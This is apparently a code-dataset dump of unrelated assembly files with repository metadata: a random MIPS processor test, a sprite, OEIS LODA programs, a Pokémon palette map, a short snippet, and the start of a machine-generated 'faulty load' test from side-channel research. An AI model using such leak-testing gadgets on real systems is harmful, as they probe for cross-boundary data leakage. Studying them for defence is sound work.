mthi $3
TAG580:
sll $0, $0, 0
multu $3, $3
sll $0, $0, 0
beq $3, $3, TAG581
TAG581:
multu $3, $3
beq $3, $3, TAG582
sll $0, $0, 0
mthi $3
TAG582:
sll $0, $0, 0
bne $2, $2, TAG583
lui $4, 1
bne $4, $2, TAG583
TAG583:
sll $0, $0, 0
lui $2, 15
sltiu $4, $4, 14
multu $2, $4
TAG584:
slt $1, $4, $4
mtlo $4
beq $4, $4, TAG585
mthi $1
TAG585:
beq $1, $1, TAG586
and $4, $1, $1
lui $2, 11
bne $1, $1, TAG586
TAG586:
divu $2, $2
mthi $2
subu $3, $2, $2
bne $3, $2, TAG587
TAG587:
nor $1, $3, $3
sw $3, 1($1)
bltz $1, TAG588
sllv $2, $1, $3
TAG588:
mfhi $4
sll $0, $0, 0
lui $2, 11
divu $2, $2
TAG589:
bne $2, $2, TAG590
mult $2, $2
multu $2, $2
mtlo $2
TAG590:
sll $0, $0, 0
lui $4, 7
mflo $2
bltz $2, TAG591
TAG591:
addiu $4, $2, 11
sll $0, $0, 0
srlv $1, $2, $4
lh $4, -352($1)
TAG592:
mult $4, $4
mfhi $2
sw $4, 0($2)
mflo $2
TAG593:
srlv $2, $2, $2
sw $2, 0($2)
mfhi $3
sb $2, 0($3)
TAG594:
multu $3, $3
mflo $2
mthi $2
beq $2, $3, TAG595
TAG595:
lb $3, 0($2)
mult $3, $2
lbu $4, 0($2)
bgtz $3, TAG596
TAG596:
mfhi $3
multu $3, $4
lui $3, 8
lbu $3, 0($4)
TAG597:
mfhi $4
multu $4, $3
sh $4, 0($4)
sh $3, 0($4)
TAG598:
lui $3, 11
lui $1, 8
sb $4, 0($4)
bne $4, $3, TAG599
TAG599:
mfhi $2
mtlo $2
and $3, $1, $2
mflo $4
TAG600:
sh $4, 0($4)
bne $4, $4, TAG601
multu $4, $4
bne $4, $4, TAG601
TAG601:
mult $4, $4
lh $3, 0($4)
beq $4, $4, TAG602
sra $3, $3, 6
TAG602:
mult $3, $3
sh $3, 0($3)
mtlo $3
lw $1, 0($3)
TAG603:
mult $1, $1
mflo $2
lb $1, 0($2)
lw $1, 0($1)
TAG604:
sh $1, 0($1)
mthi $1
bgtz $1, TAG605
mflo $3
TAG605:
sra $4, $3, 7
sra $2, $4, 15
lbu $3, 0($2)
lui $1, 14
TAG606:
bne $1, $1, TAG607
sll $0, $0, 0
add $3, $2, $1
mthi $1
TAG607:
lui $4, 5
addiu $1, $3, 3
sll $0, $0, 0
mthi $4
TAG608:
mult $1, $1
mtlo $1
sllv $1, $1, $1
mfhi $4
TAG609:
sll $0, $0, 0
sh $4, -196($4)
bne $4, $3, TAG610
sw $4, -196($4)
TAG610:
lui $1, 4
mflo $1
mtlo $1
mtlo $1
TAG611:
andi $1, $1, 9
sllv $3, $1, $1
lui $2, 14
bgez $3, TAG612
TAG612:
mtlo $2
mtlo $2
bltz $2, TAG613
xori $4, $2, 12
TAG613:
srav $3, $4, $4
mflo $3
multu $3, $3
divu $3, $3
TAG614:
bltz $3, TAG615
sll $0, $0, 0
multu $3, $3
sll $0, $0, 0
TAG615:
mtlo $1
mthi $1
lb $1, 0($1)
lui $3, 3
TAG616:
mflo $2
sb $3, 0($2)
mult $2, $2
lui $4, 2
TAG617:
addu $2, $4, $4
srav $3, $4, $4
lui $1, 11
mthi $2
TAG618:
sll $0, $0, 0
mtlo $1
subu $3, $1, $1
slti $1, $1, 0
TAG619:
srl $2, $1, 0
lui $1, 12
slt $3, $1, $2
divu $2, $1
TAG620:
nor $2, $3, $3
sltiu $1, $3, 8
bgtz $2, TAG621
sw $1, 1($2)
TAG621:
blez $1, TAG622
lb $4, 0($1)
lh $2, 0($4)
slt $4, $2, $4
TAG622:
multu $4, $4
lhu $2, 0($4)
mflo $4
slt $1, $2, $4
TAG623:
xori $4, $1, 7
xori $3, $4, 13
bne $4, $1, TAG624
lhu $3, 0($3)
TAG624:
lw $1, 0($3)
multu $1, $1
addiu $2, $3, 6
lbu $4, 0($1)
TAG625:
bgez $4, TAG626
lui $4, 8
mfhi $2
bgez $2, TAG626
TAG626:
lb $4, 0($2)
subu $3, $2, $4
divu $3, $4
lb $4, 0($4)
TAG627:
lui $4, 8
bltz $4, TAG628
multu $4, $4
beq $4, $4, TAG628
TAG628:
lui $1, 0
xori $4, $4, 3
sw $1, 0($1)
mfhi $1
TAG629:
sh $1, 0($1)
beq $1, $1, TAG630
divu $1, $1
bltz $1, TAG630
TAG630:
sh $1, 0($1)
srav $4, $1, $1
nor $3, $1, $4
div $1, $4
TAG631:
lui $4, 8
bgtz $3, TAG632
sb $3, 65($3)
lui $4, 7
TAG632:
mfhi $2
bgez $4, TAG633
sll $0, $0, 0
mthi $1
TAG633:
bne $1, $1, TAG634
mthi $1
lw $2, 0($1)
mfhi $4
TAG634:
sw $4, 0($4)
mtlo $4
mfhi $4
sh $4, 0($4)
TAG635:
lh $3, 0($4)
sltu $4, $3, $4
ori $3, $3, 10
multu $4, $4
TAG636:
sra $4, $3, 6
sb $4, 0($4)
bgtz $3, TAG637
multu $3, $4
TAG637:
nor $4, $4, $4
subu $3, $4, $4
bne $4, $4, TAG638
mthi $3
TAG638:
bne $3, $3, TAG639
lhu $1, 0($3)
sb $1, -447($1)
srav $2, $1, $3
TAG639:
lui $4, 11
andi $2, $4, 2
ori $2, $4, 1
mflo $2
TAG640:
lh $2, 0($2)
lbu $2, 0($2)
blez $2, TAG641
sb $2, -191($2)
TAG641:
bgez $2, TAG642
lhu $2, -191($2)
lb $1, 0($2)
bgtz $1, TAG642
TAG642:
lui $1, 6
bne $1, $1, TAG643
mthi $1
subu $4, $1, $1
TAG643:
bgtz $4, TAG644
lbu $2, 0($4)
blez $4, TAG644
lw $4, -191($2)
TAG644:
mfhi $3
sw $3, -447($4)
or $2, $3, $3
lui $4, 12
TAG645:
bgtz $4, TAG646
xori $4, $4, 1
bne $4, $4, TAG646
mfhi $4
TAG646:
lui $1, 4
mthi $1
beq $1, $1, TAG647
div $4, $1
TAG647:
xori $1, $1, 15
srav $2, $1, $1
lui $4, 1
addiu $3, $1, 6
TAG648:
mthi $3
sll $0, $0, 0
bne $2, $3, TAG649
srlv $2, $2, $2
TAG649:
lh $2, 0($2)
mtlo $2
lui $3, 6
mtlo $2
TAG650:
lui $4, 3
blez $4, TAG651
mflo $2
srav $1, $2, $3
TAG651:
mtlo $1
sw $1, 0($1)
lw $4, 0($1)
blez $1, TAG652
TAG652:
mtlo $4
mthi $4
addiu $4, $4, 1
mfhi $4
TAG653:
bne $4, $4, TAG654
addi $2, $4, 4
bne $4, $4, TAG654
lbu $4, 0($2)
TAG654:
mflo $4
mflo $1
bltz $1, TAG655
xor $1, $4, $1
TAG655:
blez $1, TAG656
mfhi $2
mult $2, $1
lui $2, 10
TAG656:
lb $4, 0($2)
sra $1, $4, 13
mtlo $1
lw $4, 0($2)
TAG657:
srl $4, $4, 7
mflo $4
lui $1, 3
sw $4, 0($4)
TAG658:
sll $0, $0, 0
mult $1, $1
bne $1, $1, TAG659
mthi $1
TAG659:
mfhi $1
xori $2, $1, 3
bltz $1, TAG660
div $2, $1
TAG660:
or $1, $2, $2
subu $4, $2, $2
lw $3, 0($4)
mtlo $1
TAG661:
lui $3, 0
mult $3, $3
lui $3, 15
lui $3, 1
TAG662:
blez $3, TAG663
mfhi $1
sll $0, $0, 0
mflo $4
TAG663:
subu $3, $4, $4
beq $4, $4, TAG664
addi $2, $4, 15
sllv $4, $4, $3
TAG664:
mult $4, $4
lui $2, 9
srl $2, $2, 9
sb $4, 0($4)
TAG665:
bne $2, $2, TAG666
sb $2, -1152($2)
bgez $2, TAG666
sw $2, -1152($2)
TAG666:
divu $2, $2
beq $2, $2, TAG667
lui $3, 9
srav $3, $3, $2
TAG667:
mthi $3
nor $4, $3, $3
beq $3, $3, TAG668
mfhi $4
TAG668:
blez $4, TAG669
lui $2, 0
mflo $2
bne $2, $2, TAG669
TAG669:
mtlo $2
beq $2, $2, TAG670
mflo $3
bne $3, $2, TAG670
TAG670:
slti $2, $3, 11
lb $2, 0($3)
sltu $4, $2, $2
sb $4, 0($3)
TAG671:
mthi $4
slti $2, $4, 14
mfhi $3
mult $2, $2
TAG672:
multu $3, $3
mflo $4
mthi $3
sub $3, $3, $3
TAG673:
lui $3, 0
bne $3, $3, TAG674
lh $2, 0($3)
bltz $3, TAG674
TAG674:
sltiu $1, $2, 8
bgez $2, TAG675
divu $1, $2
and $1, $1, $1
TAG675:
bgtz $1, TAG676
sltiu $1, $1, 1
mtlo $1
subu $4, $1, $1
TAG676:
lh $3, 0($4)
slti $2, $3, 1
beq $4, $2, TAG677
mtlo $4
TAG677:
mthi $2
mthi $2
multu $2, $2
multu $2, $2
TAG678:
mflo $4
mtlo $4
multu $2, $2
mflo $1
TAG679:
multu $1, $1
xori $2, $1, 9
mfhi $3
bgtz $2, TAG680
TAG680:
mthi $3
mthi $3
sw $3, 0($3)
lw $2, 0($3)
TAG681:
mtlo $2
lh $1, 0($2)
lb $2, 0($1)
mtlo $2
TAG682:
lui $3, 12
mfhi $3
mfhi $2
sw $3, 0($2)
TAG683:
beq $2, $2, TAG684
sb $2, 0($2)
bgtz $2, TAG684
mflo $1
TAG684:
sh $1, 0($1)
lui $1, 4
bne $1, $1, TAG685
lui $2, 10
TAG685:
sll $0, $0, 0
beq $2, $2, TAG686
sll $0, $0, 0
sub $4, $2, $2
TAG686:
mflo $3
lb $2, 0($4)
lui $4, 8
multu $3, $3
TAG687:
lui $3, 8
bne $4, $3, TAG688
multu $3, $3
sll $0, $0, 0
TAG688:
mthi $3
sll $0, $0, 0
sll $0, $0, 0
sllv $4, $1, $1
TAG689:
sll $0, $0, 0
multu $4, $4
sra $2, $4, 3
sll $0, $0, 0
TAG690:
bne $4, $4, TAG691
mthi $4
beq $4, $4, TAG691
mfhi $4
TAG691:
mfhi $4
blez $4, TAG692
mflo $3
beq $4, $3, TAG692
TAG692:
mult $3, $3
sw $3, 0($3)
mfhi $3
multu $3, $3
TAG693:
sb $3, 0($3)
and $4, $3, $3
mfhi $4
sll $1, $3, 12
TAG694:
sh $1, 0($1)
sw $1, 0($1)
lb $4, 0($1)
bgtz $1, TAG695
TAG695:
mult $4, $4
mtlo $4
sw $4, 0($4)
lui $2, 0
TAG696:
srl $3, $2, 13
blez $2, TAG697
lui $1, 4
beq $3, $3, TAG697
TAG697:
mthi $1
bltz $1, TAG698
mfhi $2
lui $1, 15
TAG698:
multu $1, $1
xor $1, $1, $1
srlv $4, $1, $1
slti $4, $4, 0
TAG699:
sb $4, 0($4)
multu $4, $4
mthi $4
sb $4, 0($4)
TAG700:
bgtz $4, TAG701
mthi $4
bgez $4, TAG701
sub $1, $4, $4
TAG701:
srav $1, $1, $1
sb $1, 0($1)
lw $2, 0($1)
mfhi $4
TAG702:
sw $4, 0($4)
ori $1, $4, 6
sh $4, 0($1)
lui $3, 6
TAG703:
mult $3, $3
bne $3, $3, TAG704
andi $2, $3, 1
lui $3, 8
TAG704:
lui $2, 11
sll $0, $0, 0
mtlo $2
mtlo $3
TAG705:
lui $1, 4
multu $1, $1
sll $0, $0, 0
bgtz $1, TAG706
TAG706:
mflo $3
addu $4, $1, $3
slti $3, $4, 11
beq $4, $1, TAG707
TAG707:
mthi $3
bgez $3, TAG708
subu $1, $3, $3
multu $3, $3
TAG708:
beq $1, $1, TAG709
sll $2, $1, 13
mfhi $4
sw $2, 0($4)
TAG709:
sll $0, $0, 0
slti $4, $4, 12
lui $4, 10
andi $1, $2, 9
TAG710:
sh $1, 0($1)
bne $1, $1, TAG711
mtlo $1
nor $2, $1, $1
TAG711:
sh $2, 1($2)
subu $2, $2, $2
beq $2, $2, TAG712
addu $1, $2, $2
TAG712:
sb $1, 0($1)
lw $3, 0($1)
bne $1, $1, TAG713
mflo $1
TAG713:
bne $1, $1, TAG714
sb $1, 0($1)
addiu $2, $1, 4
sb $2, 0($1)
TAG714:
mthi $2
lbu $4, 0($2)
bltz $4, TAG715
addiu $4, $2, 2
TAG715:
addu $3, $4, $4
sw $4, 0($3)
sb $4, 0($3)
srl $3, $3, 4
TAG716:
sb $3, 0($3)
lui $1, 8
sw $3, 0($3)
bltz $1, TAG717
TAG717:
sltiu $3, $1, 11
addu $4, $1, $3
sll $0, $0, 0
divu $4, $4
TAG718:
lb $1, 0($2)
lui $2, 14
blez $1, TAG719
mtlo $2
TAG719:
lui $3, 3
lui $2, 15
divu $2, $2
sltiu $1, $3, 15
TAG720:
mthi $1
addiu $4, $1, 9
mflo $1
bgez $1, TAG721
TAG721:
andi $1, $1, 2
mthi $1
addi $2, $1, 0
addi $4, $1, 1
TAG722:
or $2, $4, $4
sb $2, 0($4)
mfhi $4
beq $4, $2, TAG723
TAG723:
mfhi $2
bne $2, $2, TAG724
lhu $2, 0($4)
bne $4, $4, TAG724
TAG724:
sb $2, -256($2)
bne $2, $2, TAG725
mtlo $2
slt $1, $2, $2
TAG725:
mthi $1
sw $1, 0($1)
multu $1, $1
slt $3, $1, $1
TAG726:
bgtz $3, TAG727
sub $1, $3, $3
sw $1, 0($1)
and $4, $3, $1
TAG727:
sb $4, 0($4)
andi $2, $4, 13
sh $4, 0($4)
multu $2, $4
TAG728:
sb $2, 0($2)
beq $2, $2, TAG729
mthi $2
multu $2, $2
TAG729:
add $2, $2, $2
mfhi $2
lw $3, 0($2)
bgez $2, TAG730
TAG730:
mfhi $2
mflo $3
mfhi $2
mthi $3
TAG731:
lw $2, 0($2)
mult $2, $2
bgtz $2, TAG732
andi $3, $2, 3
TAG732:
subu $3, $3, $3
ori $2, $3, 13
lui $2, 3
mtlo $3
TAG733:
blez $2, TAG734
or $1, $2, $2
lui $1, 15
mtlo $1
TAG734:
bne $1, $1, TAG735
andi $3, $1, 8
multu $3, $1
mthi $3
TAG735:
lbu $3, 0($3)
and $1, $3, $3
beq $1, $1, TAG736
mfhi $3
TAG736:
lui $1, 0
lhu $1, 0($3)
lui $3, 7
bltz $3, TAG737
TAG737:
xor $2, $3, $3
mfhi $3
bne $3, $2, TAG738
multu $3, $3
TAG738:
mflo $4
beq $3, $3, TAG739
mthi $3
lw $3, 0($4)
TAG739:
blez $3, TAG740
lb $2, 0($3)
beq $3, $3, TAG740
lui $3, 5
TAG740:
add $2, $3, $3
lui $3, 12
sll $0, $0, 0
mfhi $3
TAG741:
sw $3, 0($3)
lhu $2, 0($3)
lui $4, 12
lui $2, 11
TAG742:
srlv $2, $2, $2
beq $2, $2, TAG743
mfhi $2
mtlo $2
TAG743:
bltz $2, TAG744
sb $2, 0($2)
mfhi $1
or $1, $1, $1
TAG744:
mthi $1
lui $2, 10
mthi $2
lh $1, 0($1)
TAG745:
ori $1, $1, 6
mthi $1
lui $3, 10
divu $1, $3
TAG746:
sll $0, $0, 0
mthi $3
mult $3, $3
beq $3, $3, TAG747
TAG747:
nor $2, $3, $3
mult $3, $3
bgez $3, TAG748
multu $3, $2
TAG748:
mflo $3
bne $2, $3, TAG749
mthi $2
mthi $2
TAG749:
mthi $3
mthi $3
mthi $3
mult $3, $3
TAG750:
nop
nop
test_end:
beq $0, $0, test_end
nop | 12.886573 | 22 | 0.500583 |
68fff0d0cea2775a055a9e1028d1249120d68d02 | 1,066 | asm | Assembly | src/util/icon/blend.asm | olifink/qspread | d6403d210bdad9966af5d2a0358d4eed3f1e1c02 | [
"MIT"
] | null | null | null | src/util/icon/blend.asm | olifink/qspread | d6403d210bdad9966af5d2a0358d4eed3f1e1c02 | [
"MIT"
] | null | null | null | src/util/icon/blend.asm | olifink/qspread | d6403d210bdad9966af5d2a0358d4eed3f1e1c02 | [
"MIT"
] | null | null | null | * Sprite blend
*
* Mode 4
* +|-----------------+
* -ggg ggg wwwww-
* |g g g w |
* |gg ggg w |
* |g g g w |
* |g ggg w w w|
* | www |
* | w |
* | |
* |rr rrrr rr rrrr |
* | |
* |rrr rr rrrrr rr |
* | ww|
* |rrrr rrr rr rrr ww|
* | ww|
* | wwwwww|
* +|-----------------+
*
section sprite
xdef mes_blend
xref mes_zero
mes_blend
dc.w $0100,$0000
dc.w 18,15,0,0
dc.l mcs_blend-*
dc.l mes_zero-*
dc.l sp_blend-*
mcs_blend
dc.w $EE00,$0707
dc.w $C0C0,$0000
dc.w $8A00,$0101
dc.w $0000,$0000
dc.w $CE00,$0101
dc.w $0000,$0000
dc.w $8A00,$0101
dc.w $0000,$0000
dc.w $8E00,$0505
dc.w $4040,$0000
dc.w $0000,$0303
dc.w $8080,$0000
dc.w $0000,$0101
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $00DE,$00DE
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $00ED,$00F6
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $C0C0,$0000
dc.w $00F7,$006E
dc.w $C0C0,$0000
dc.w $0000,$0000
dc.w $C0C0,$0000
dc.w $0000,$0F0F
dc.w $C0C0,$0000
*
sp_blend
incbin 'win1_util_icon_blend_spr'
end
| 15.910448 | 34 | 0.545028 |
f414475967527127169aed150d8124494657d936 | 3,533 | asm | Assembly | programs/oeis/249/A249961.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/249/A249961.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/249/A249961.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A249961: Number of length 1+5 0..n arrays with no six consecutive terms having the maximum of any two terms equal to the minimum of the remaining four terms.
; 15,285,2010,8790,28785,77595,181860,383580,745155,1355145,2334750,3845010,6094725,9349095,13939080,20271480,28839735,40235445,55160610,74440590,99037785,130066035,168805740,216719700,275469675,346933665,433223910,536705610,660016365,806086335,978159120,1179813360,1414985055,1687990605,2003550570,2366814150,2783384385,3259344075,3801282420,4416322380,5112148755,5897036985,6779882670,7770231810,8878311765,10115062935,11492171160,13022100840,14718128775,16594378725,18665856690,20948486910,23459148585,26215713315,29237083260,32543230020,36155234235,40095325905,44386925430,49054685370,54124532925,59623713135,65580832800,72025905120,78990395055,86507265405,94611023610,103337769270,112725242385,122812872315,133641827460,145255065660,157697385315,171015477225,185257977150,200475519090,216720789285,234048580935,252515849640,272181769560,293107790295,315357694485,338997656130,364096299630,390724759545,418956741075,448868581260,480539310900,514050717195,549487407105,586936871430,626489549610,668238895245,712281442335,758716872240,807648081360,859181249535,913425909165,970495015050,1030505014950,1093575920865,1159831381035,1229398752660,1302409175340,1378997645235,1459303089945,1543468444110,1631640725730,1723971113205,1820615023095,1921732188600,2027486738760,2138047278375,2253586968645,2374283608530,2500319716830,2631882614985,2769164510595,2912362581660,3061679061540,3217321324635,3379501972785,3548438922390,3724355492250,3907480492125,4098048312015,4296299012160,4502478413760,4716838190415,4939635960285,5171135378970,5411606233110,5661324534705,5920572616155,6189639226020,6468819625500,6758415685635,7058735985225,7370095909470,7692817749330,8027230801605,8373671469735,8732483365320,9104017410360,9488631940215,9886692807285,10298573485410,10724655174990,11165326908825,11620985658675,12092036442540,12578892432660,13081975064235,13601714144865,14138547964710,14692923407370,15265296061485,15856130333055,16465899558480,17095086118320,17744181551775,18413686671885,19104111681450,19815976289670,20549809829505,21306151375755,22085549863860,22888564209420,23715763428435,24567726758265,25445043779310,26348314537410,27278149666965,28235170514775,29220009264600,30233309062440,31275724142535,32347919954085,33450573288690,34584372408510,35750017175145,36948219179235,38179701870780,39445200690180,40745463199995,42081249217425,43453330947510,44862493117050,46309533109245,47795261099055,49320500189280,50886086547360,52492869542895,54141711885885,55833489765690,57569092990710,59349425128785,61175403648315,63047960060100,64968040059900,66936603671715,68954625391785,71023094333310,73143014371890,75315404291685,77541297932295,79821744336360,82157807897880,84550568511255,87001121721045
mov $1,10
mov $6,$0
lpb $0,1
add $1,$0
sub $0,1
lpe
add $1,5
mov $2,58
mov $5,$6
lpb $2,1
add $1,$5
sub $2,1
lpe
mov $3,$6
lpb $3,1
sub $3,1
add $4,$5
lpe
mov $2,91
mov $5,$4
lpb $2,1
add $1,$5
sub $2,1
lpe
mov $3,$6
mov $4,0
lpb $3,1
sub $3,1
add $4,$5
lpe
mov $2,75
mov $5,$4
lpb $2,1
add $1,$5
sub $2,1
lpe
mov $3,$6
mov $4,0
lpb $3,1
sub $3,1
add $4,$5
lpe
mov $2,35
mov $5,$4
lpb $2,1
add $1,$5
sub $2,1
lpe
mov $3,$6
mov $4,0
lpb $3,1
sub $3,1
add $4,$5
lpe
mov $2,9
mov $5,$4
lpb $2,1
add $1,$5
sub $2,1
lpe
mov $3,$6
mov $4,0
lpb $3,1
sub $3,1
add $4,$5
lpe
mov $2,1
mov $5,$4
lpb $2,1
add $1,$5
sub $2,1
lpe
| 46.486842 | 2,706 | 0.838098 |
dbfdbed3e6f36c3be220aff26b28b92f19207a3c | 1,597 | asm | Assembly | gfx/tilesets/viridian_forest_palette_map.asm | Ebernacher90/pokecrystal-allworld | 5d623c760e936842cf92563912c5bd64dd69baef | [
"blessing"
] | null | null | null | gfx/tilesets/viridian_forest_palette_map.asm | Ebernacher90/pokecrystal-allworld | 5d623c760e936842cf92563912c5bd64dd69baef | [
"blessing"
] | null | null | null | gfx/tilesets/viridian_forest_palette_map.asm | Ebernacher90/pokecrystal-allworld | 5d623c760e936842cf92563912c5bd64dd69baef | [
"blessing"
] | null | null | null | tilepal 0, BROWN, BROWN, WATER, WATER, GREEN, GREEN, GREEN, GREEN
tilepal 0, WATER, WATER, BROWN, BROWN, WATER, WATER, BROWN, GREEN
tilepal 0, RED, RED, WATER, WATER, GREEN, GREEN, GREEN, GREEN
tilepal 0, WATER, WATER, BROWN, BROWN, WATER, GREEN, GREEN, GREEN
tilepal 0, WATER, RED, RED, WATER, GREEN, GREEN, GREEN, GREEN
tilepal 0, WATER, WATER, WATER, WATER, WATER, GREEN, GREEN, GREEN
tilepal 0, WATER, GRAY, GRAY, GREEN, WATER, GREEN, GREEN, WATER
tilepal 0, WATER, WATER, WATER, WATER, WATER, BROWN, BROWN, GREEN
tilepal 0, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
tilepal 0, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
tilepal 0, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
tilepal 0, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
tilepal 0, BROWN, BROWN, BROWN, RED, YELLOW, GREEN, BROWN, YELLOW
tilepal 0, YELLOW, BROWN, BROWN, BROWN, GREEN, GREEN, BROWN, BROWN
tilepal 0, BROWN, BROWN, BROWN, RED, WATER, BROWN, BROWN, BROWN
tilepal 0, BROWN, BROWN, BROWN, BROWN, GREEN, GREEN, BROWN, BROWN
tilepal 1, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GREEN, GREEN
tilepal 1, GREEN, BROWN, BROWN, BROWN, GREEN, GREEN, GREEN, GREEN
tilepal 1, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GREEN, GREEN
tilepal 1, GREEN, GREEN, GREEN, BROWN, GREEN, BROWN, BROWN, GREEN
tilepal 1, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
tilepal 1, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
tilepal 1, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
tilepal 1, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
| 63.88 | 67 | 0.714465 |
4603873ff5fe8a2ef241b080e450783eb3702b58 | 320 | asm | Assembly | 0x04.asm | SpeedStepper/XchgRaxRax | 24c1a47f8da2fab1e4c3ad62136b307c7fa5a6dc | [
"MIT"
] | null | null | null | 0x04.asm | SpeedStepper/XchgRaxRax | 24c1a47f8da2fab1e4c3ad62136b307c7fa5a6dc | [
"MIT"
] | null | null | null | 0x04.asm | SpeedStepper/XchgRaxRax | 24c1a47f8da2fab1e4c3ad62136b307c7fa5a6dc | [
"MIT"
] | null | null | null | ; This snippet, 0x04, flips the 6th least-significant bit of the value stored in rax.
; In an ASCII table this toggle wether a letter is upper or lower case.
; Assemble with $ nasm -felf64 0x04.asm && ld 0x04.o && ./a.out
global _start
section .text
_start:
xor al, 0x20 ; flips the 6th bit (0x20 is 0b0100000)
| 32 | 86 | 0.7125 |
6f3a73835330aedcc8d2e4948b6aaf849516a2a7 | 504 | asm | Assembly | programs/oeis/117/A117619.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/117/A117619.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/117/A117619.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A117619: a(n) = n^2 + 7.
; 7,8,11,16,23,32,43,56,71,88,107,128,151,176,203,232,263,296,331,368,407,448,491,536,583,632,683,736,791,848,907,968,1031,1096,1163,1232,1303,1376,1451,1528,1607,1688,1771,1856,1943,2032,2123,2216,2311,2408,2507,2608,2711,2816,2923,3032,3143,3256,3371,3488,3607,3728,3851,3976,4103,4232,4363,4496,4631,4768,4907,5048,5191,5336,5483,5632,5783,5936,6091,6248,6407,6568,6731,6896,7063,7232,7403,7576,7751,7928,8107,8288,8471,8656,8843,9032,9223,9416,9611,9808
pow $0,2
add $0,7
| 84 | 457 | 0.75 |
8772ba3874e08ae0ab65b96b04cc56ec79f13e01 | 429 | asm | Assembly | programs/oeis/095/A095111.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/095/A095111.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/095/A095111.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A095111: One minus the parity of 1-fibits in Zeckendorf expansion A014417(n).
; 1,0,0,0,1,0,1,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,1,1,1,0,1,0,0,1,0,0
mov $1,2
lpb $0
mov $2,$0
seq $2,66628 ; a(n) = n - the largest Fibonacci number <= n.
mov $0,$2
add $1,2
lpe
div $1,2
mod $1,2
mov $0,$1
| 30.642857 | 201 | 0.564103 |
c67f68d919135a063aed2e758265fac9ec6974d8 | 5,406 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_11059_1731.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_11059_1731.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_11059_1731.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x5ec0, %rbp
nop
nop
add %r9, %r9
vmovups (%rbp), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rsi
nop
add %r12, %r12
lea addresses_WC_ht+0x5e80, %rbx
nop
nop
nop
nop
nop
dec %rbp
mov (%rbx), %rsi
nop
nop
nop
xor %r12, %r12
lea addresses_WC_ht+0x62c0, %rsi
lea addresses_D_ht+0xcbc0, %rdi
nop
add $65433, %rbp
mov $15, %rcx
rep movsb
nop
nop
nop
sub %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r8
push %rax
push %rbx
push %rdx
push %rsi
// Load
lea addresses_WC+0xa462, %rax
nop
nop
nop
add $51514, %rbx
vmovaps (%rax), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %r13
nop
nop
nop
add $64749, %rdx
// Store
lea addresses_D+0x161bd, %r8
nop
nop
add $42271, %r12
movb $0x51, (%r8)
nop
nop
nop
cmp $57866, %r8
// Store
lea addresses_WC+0x1f9c0, %rsi
nop
nop
nop
and $715, %r12
movw $0x5152, (%rsi)
nop
sub %r12, %r12
// Faulty Load
lea addresses_A+0x40c0, %rbx
nop
xor $42332, %rsi
movaps (%rbx), %xmm6
vpextrq $0, %xmm6, %rdx
